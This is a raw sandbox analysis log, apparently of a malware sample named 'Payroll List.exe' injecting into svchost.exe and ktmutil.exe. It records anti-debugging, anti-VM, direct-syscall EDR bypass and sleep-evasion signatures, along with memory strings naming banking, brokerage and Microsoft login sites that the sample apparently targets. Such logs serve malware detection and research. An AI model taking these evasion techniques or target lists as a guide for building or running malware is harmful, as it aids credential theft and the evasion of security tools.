Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7AD944
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7AD504
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7AD544
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7AD1E4
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7B0154
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7ADA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0397096E rdtsc

2_2_0397096E

Source: C:\Users\user\Desktop\Payroll List.exe

Evaded block: after key decision

graph_0-95573

Source: C:\Users\user\Desktop\Payroll List.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-96022

Source: C:\Users\user\Desktop\Payroll List.exe	API coverage: 4.2 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\ktmutil.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\ktmutil.exe TID: 8044	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 8044	Thread sleep time: -82000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe TID: 8056	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe TID: 8056	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\ktmutil.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ktmutil.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00166CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00166CA9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_001660DD
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_001663F9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0016EB60
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016F56F FindFirstFileW,FindClose,	0_2_0016F56F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0016F5FA
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00171B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00171B2F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00171C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00171C8A
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00171F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00171F94
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0041C810 FindFirstFileW,FindNextFileW,FindClose,	6_2_0041C810

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0013DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0013DDC0

Source: 283026M3L.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: 283026M3L.6.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: ktmutil.exe, 00000006.00000002.3296566813.00000000076CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494
Source: 283026M3L.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 283026M3L.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 283026M3L.6.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: 283026M3L.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: 283026M3L.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 283026M3L.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 283026M3L.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.000000000385C000.00000004.00000001.00040000.00000000.sdmp	Binary or memory string: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?1fo=GF14svyhH44dt&NjHpTfh=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4dMSPmSyMXvFwuhBmNF6SR00f5xEMx0RhVmciiGarBUFx9Q=="}</script></head></html>
Source: firefox.exe, 0000000B.00000002.2046701731.00000262A57BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: eLiCpwzRIeWAs.exe, 00000007.00000002.3292122511.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll#
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 283026M3L.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 283026M3L.6.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: ktmutil.exe, 00000006.00000002.3296566813.00000000076CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rd.comVMware20,11696494690f
Source: 283026M3L.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: ktmutil.exe, 00000006.00000002.3296566813.00000000076CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ansaction PasswordVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 283026M3L.6.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: ktmutil.exe, 00000006.00000002.3291580399.0000000002813000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllI
Source: 283026M3L.6.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 283026M3L.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 283026M3L.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 283026M3L.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 283026M3L.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\Payroll List.exe

API call chain: ExitProcess graph end node

graph_0-95353

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0397096E rdtsc

2_2_0397096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417A83 LdrLoadDll,

2_2_00417A83

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00176AAF BlockInput,

0_2_00176AAF

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00123D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00123D19

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00153920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

0_2_00153920

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0013E01E LoadLibraryA,GetProcAddress,

0_2_0013E01E

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00D582F8 mov eax, dword ptr fs:[00000030h]	0_2_00D582F8
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00D58358 mov eax, dword ptr fs:[00000030h]	0_2_00D58358
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00D56CD8 mov eax, dword ptr fs:[00000030h]	0_2_00D56CD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03928397 mov eax, dword ptr fs:[00000030h]	2_2_03928397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03928397 mov eax, dword ptr fs:[00000030h]	2_2_03928397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03928397 mov eax, dword ptr fs:[00000030h]	2_2_03928397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392E388 mov eax, dword ptr fs:[00000030h]	2_2_0392E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392E388 mov eax, dword ptr fs:[00000030h]	2_2_0392E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392E388 mov eax, dword ptr fs:[00000030h]	2_2_0392E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395438F mov eax, dword ptr fs:[00000030h]	2_2_0395438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395438F mov eax, dword ptr fs:[00000030h]	2_2_0395438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D43D4 mov eax, dword ptr fs:[00000030h]	2_2_039D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D43D4 mov eax, dword ptr fs:[00000030h]	2_2_039D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039EC3CD mov eax, dword ptr fs:[00000030h]	2_2_039EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0393A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039383C0 mov eax, dword ptr fs:[00000030h]	2_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039383C0 mov eax, dword ptr fs:[00000030h]	2_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039383C0 mov eax, dword ptr fs:[00000030h]	2_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039383C0 mov eax, dword ptr fs:[00000030h]	2_2_039383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B63C0 mov eax, dword ptr fs:[00000030h]	2_2_039B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039663FF mov eax, dword ptr fs:[00000030h]	2_2_039663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039403E9 mov eax, dword ptr fs:[00000030h]	2_2_039403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392C310 mov ecx, dword ptr fs:[00000030h]	2_2_0392C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03950310 mov ecx, dword ptr fs:[00000030h]	2_2_03950310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A30B mov eax, dword ptr fs:[00000030h]	2_2_0396A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A30B mov eax, dword ptr fs:[00000030h]	2_2_0396A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396A30B mov eax, dword ptr fs:[00000030h]	2_2_0396A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B035C mov eax, dword ptr fs:[00000030h]	2_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B035C mov eax, dword ptr fs:[00000030h]	2_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B035C mov eax, dword ptr fs:[00000030h]	2_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B035C mov ecx, dword ptr fs:[00000030h]	2_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B035C mov eax, dword ptr fs:[00000030h]	2_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B035C mov eax, dword ptr fs:[00000030h]	2_2_039B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FA352 mov eax, dword ptr fs:[00000030h]	2_2_039FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B2349 mov eax, dword ptr fs:[00000030h]	2_2_039B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D437C mov eax, dword ptr fs:[00000030h]	2_2_039D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E284 mov eax, dword ptr fs:[00000030h]	2_2_0396E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E284 mov eax, dword ptr fs:[00000030h]	2_2_0396E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B0283 mov eax, dword ptr fs:[00000030h]	2_2_039B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B0283 mov eax, dword ptr fs:[00000030h]	2_2_039B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B0283 mov eax, dword ptr fs:[00000030h]	2_2_039B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039402A0 mov eax, dword ptr fs:[00000030h]	2_2_039402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039402A0 mov eax, dword ptr fs:[00000030h]	2_2_039402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C62A0 mov eax, dword ptr fs:[00000030h]	2_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C62A0 mov eax, dword ptr fs:[00000030h]	2_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C62A0 mov eax, dword ptr fs:[00000030h]	2_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C62A0 mov eax, dword ptr fs:[00000030h]	2_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C62A0 mov eax, dword ptr fs:[00000030h]	2_2_039C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0393A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039402E1 mov eax, dword ptr fs:[00000030h]	2_2_039402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039402E1 mov eax, dword ptr fs:[00000030h]	2_2_039402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039402E1 mov eax, dword ptr fs:[00000030h]	2_2_039402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392823B mov eax, dword ptr fs:[00000030h]	2_2_0392823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392A250 mov eax, dword ptr fs:[00000030h]	2_2_0392A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936259 mov eax, dword ptr fs:[00000030h]	2_2_03936259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B8243 mov eax, dword ptr fs:[00000030h]	2_2_039B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B8243 mov ecx, dword ptr fs:[00000030h]	2_2_039B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274 mov eax, dword ptr fs:[00000030h]	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934260 mov eax, dword ptr fs:[00000030h]	2_2_03934260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934260 mov eax, dword ptr fs:[00000030h]	2_2_03934260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03934260 mov eax, dword ptr fs:[00000030h]	2_2_03934260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392826B mov eax, dword ptr fs:[00000030h]	2_2_0392826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B019F mov eax, dword ptr fs:[00000030h]	2_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B019F mov eax, dword ptr fs:[00000030h]	2_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B019F mov eax, dword ptr fs:[00000030h]	2_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B019F mov eax, dword ptr fs:[00000030h]	2_2_039B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392A197 mov eax, dword ptr fs:[00000030h]	2_2_0392A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392A197 mov eax, dword ptr fs:[00000030h]	2_2_0392A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392A197 mov eax, dword ptr fs:[00000030h]	2_2_0392A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03970185 mov eax, dword ptr fs:[00000030h]	2_2_03970185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039EC188 mov eax, dword ptr fs:[00000030h]	2_2_039EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039EC188 mov eax, dword ptr fs:[00000030h]	2_2_039EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D4180 mov eax, dword ptr fs:[00000030h]	2_2_039D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D4180 mov eax, dword ptr fs:[00000030h]	2_2_039D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A061E5 mov eax, dword ptr fs:[00000030h]	2_2_03A061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_039AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F61C3 mov eax, dword ptr fs:[00000030h]	2_2_039F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F61C3 mov eax, dword ptr fs:[00000030h]	2_2_039F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039601F8 mov eax, dword ptr fs:[00000030h]	2_2_039601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DA118 mov ecx, dword ptr fs:[00000030h]	2_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DA118 mov eax, dword ptr fs:[00000030h]	2_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DA118 mov eax, dword ptr fs:[00000030h]	2_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DA118 mov eax, dword ptr fs:[00000030h]	2_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F0115 mov eax, dword ptr fs:[00000030h]	2_2_039F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03960124 mov eax, dword ptr fs:[00000030h]	2_2_03960124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392C156 mov eax, dword ptr fs:[00000030h]	2_2_0392C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C8158 mov eax, dword ptr fs:[00000030h]	2_2_039C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936154 mov eax, dword ptr fs:[00000030h]	2_2_03936154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03936154 mov eax, dword ptr fs:[00000030h]	2_2_03936154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C4144 mov eax, dword ptr fs:[00000030h]	2_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C4144 mov eax, dword ptr fs:[00000030h]	2_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C4144 mov ecx, dword ptr fs:[00000030h]	2_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C4144 mov eax, dword ptr fs:[00000030h]	2_2_039C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C4144 mov eax, dword ptr fs:[00000030h]	2_2_039C4144
